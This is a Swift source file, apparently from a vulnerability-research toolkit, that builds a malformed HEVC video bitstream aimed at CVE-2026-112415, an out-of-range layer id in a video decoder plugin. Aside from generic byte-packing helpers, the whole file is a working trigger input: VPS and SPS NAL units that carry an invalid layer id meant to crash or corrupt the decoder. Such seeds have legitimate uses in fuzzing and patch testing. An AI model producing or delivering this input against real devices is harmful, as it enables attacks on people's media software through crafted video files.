// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
// MVHEVC layer id out of range
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── seed construction (from Cinder27 Sources: VideoPayload) ──
enum VideoPayload {
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
        var out = Data()
        out.append(contentsOf: [0, 0, 0, 1])
        // VPS NAL with a two-byte header carrying an out-of-range layer id
        out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60])
        out.append(contentsOf: [0, 0, 0, 1])
        out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00])
        out.append(contentsOf: [UInt8](repeating: 0x00, count: 16))
        return out
    }

}